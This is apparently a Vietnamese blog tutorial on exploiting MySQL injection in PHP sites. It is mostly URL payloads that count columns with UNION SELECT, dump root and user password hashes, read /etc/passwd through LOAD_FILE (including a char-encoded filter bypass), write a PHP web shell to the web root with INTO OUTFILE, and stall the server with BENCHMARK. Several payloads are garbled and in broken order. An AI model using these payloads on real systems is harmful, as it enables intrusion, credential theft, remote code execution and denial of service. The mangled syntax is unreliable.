Lỗi MySQL là một lỗi rất là thông dụng và nguy hiểm.Khác với các lỗi khác MySQL bị lỗi là cho người viết mã gây ra hay bị sai sót
Lỗi MySQL đem lại những lợi ích như thế nào?
Nó cho phép người sử dụng có thể khai thác dễ dàng vào các database.Nói rõ hơn nó cho ta thấy được những thông số có liên quan đến victim chứa lỗi.MySQL Inj có thể phá hủy tập tin hay cho phép các tập tin khác mà attacker chèn vào
Bây giờ chúng ta nhìn vào 1 số ví dụ về code php
<? php
...
$ id = $ _GET [ 'id'];
...
mysql_query ( "UNION SELECT nick FROM users WHERE id =". );..... $ id
?>
Chúng ta cần lưu ý về phương thức lấy đoạn ma GET .Anh em hãy để ý kỹ về đoạn mã php ở trên.Chúng ta có thể thay đổi yêu cầu truy vấn dựa vào GET.Nếu nó không lọc phần [ 'id'] mà chúng ta truy vấn vào dữ liệu của victim thì có nghĩa là nó bị lỗi MySQL.
Làm sao mà biết chính xác là nó bị lỗi.Sau đấy là 1 ví dụ :
http://www.site.ru/index.php?page=1
+
http://www.site.ru/index.php?page=1
Và khi nó bị dính MySQL thì website sẽ gởi lại cho ta biết với 1 thông báo như sau:
+MySQL Error: mysql_query (.......) error expretion syntax ...
Câu nói ở đây có nghĩa là có 1 truy vấn đang bị lỗi về cấu trúc toán học hay thư mục.Và 99% đây là lỗi source.
Ngoài ra ta còn 1 phương các nữa là ta dùng phương thức toán học đơn giản như sau:
+
http://www.site.ru/index.php?page=2-1
Khi ta biết chính xác nó bị lỗi thì ta sẽ khai thác như sau.Chúng ta cần gởi 1 truy vấn sql đến victim nhưng chúng ta cần truy vấn với giá trĩ là null.Null ở đây là rỗng không có 1 giá trị xác thực.
Đây là
+
http://www.site.ru/index.php?page=-1 union + + + select null, null / *
http://www.site.ru/index.php?page=99999 union + + + select null, null / *
+union select null, null
union select null, null, null
union select null, null, null, null
Lệnh union ở đây chính là lênh kết nối các bảng lại với nhau.Chúng ta cứ sử dụng cho đến khi biết 9 xác có bao nhiêu bảng dữ liệu nằm trong database
+
http://www.site.ru/index.php?page=-1 union + + + select null, null, null, null, null, null / *
+? id =- 1 + + by order +100 / *
Dĩ nhiên các cột không thể nào quá 100 cột được.Với cách thức này ta có thể nhanh chóng biết được bao nhiêu cột.Và có sai thì nó sẽ báo lổi.
Sau khi đã biết chính xác được có bao nhiêu cột thì ta sẽ thay thế các giá trị null mà hồi nãy ta truy vấn bằng các con số 9 xác như 1,2,3,..
+
http://www.site.ru/index.php?page=-1 + union + select +1,2,3,4,5,6 / *
+
http://www.site.ru/index.php?page=-1 + union + +1.2 select, USER (), 4,5,6 / *
http://www.site.ru/index.php?page=-1 + union + +1.2 select, VERSION (), 4,5,6 / *
http://www.site.ru/index.php?page=-1 + union + +1.2 select, DATABASE (), 4,5,6 / *
1-Lấy pass của thằng root(Nó là quan trọng 1 mà)
+
http://www.site.ru/index.php?page=-1 + union + +1.2 select, user, password, 5,6 mysql.user + from + / *
2-Đọc các bảng khác có liên quan đến thằng root:
Chúng ta có thể đọc các bảng có liên quan như:spreadsheet-type users, reg_users, admins, accounts ...
+
http://www.site.ru/index.php?page=-1 + union + +1.2 select, name, passwd, 4,5,6 + + from users / *
+
http://www.site.ru/index.php?page=-1 + union + +1.2 select, LOAD_FILE ( '/ etc / passwd'), 4,5,6 / *
4-Up shell và ddos:
Chúng ta cần nhận thấy là chúng ta cần nên đưa con shell ở bên ngoài vào sao cho phù hợp 1.Và thư mục mà ta cần quan tâm và phù hợp 1 chính là "/ home / site / public_html /"
Code up shell:
+http://www.site.ru/index.php?page=-1 + union + select +1,2,3,4,5, '<? php system ($ _GET [cmd]);>' + + + from mysql.user into outfile + + '/ home / site / public_html / shell.php' / *
Việc up shell là phần quan trọng 1 đối với lỗi MYSQL.Và 1 điều quan trọng ko kém là chúng ta cần đưa thêm biến hay tham số ,cụ thể là số.Nó sẽ giúp ta thực hiện được 1 số lệnh bị giới hạn trong mysql.
Ví dụ:union select 1.2, user, pass, from 5,6 + + + users limit +5.3 / * [/ i]
Chúng sẽ thử lại 3 lần với cột số 5
Đôi khi chúng ta gặp phải 1 số cơ chế lọc hay mã hóa trong mysql.Chính vì vậy để giải quyết vấn đề loại bỏ cơ chế trên ta cần 1 câu lệnh ko kém phần quan trọng
+
http://www.site.ru/index.php?page=-1 + union + +1.2 select, AES_DECRYPT (AES_ENCRYPT (USER (), 0x71), 0x71), 4,5,6 / *
Ví dụ ta đưa vào LOAD_FILE phần đọc thư mục / etc / passwd thì chúng ta dùng đoạn code sau:
+
http://www.site.ru/index.php?page=-1 + union + +1.2 select, LOAD_FILE (char (47101116,99,47112,97115115119100)), 4,5,6 / *
+
http://www.site.ru/index.php?page=-1 + union + +1.2 select, user, password, 5,6 mysql.user + from + / *
http://www.site.ru/index.php?page=-1/ ** / union / ** / select / ** / 1.2, user,
+
http://www.site.ru/index.php?page=-1 + BENCHMARK (10000000, BENCHMARK (10000000 md5 (current_date)))
0 nhận xét:
Đăng nhận xét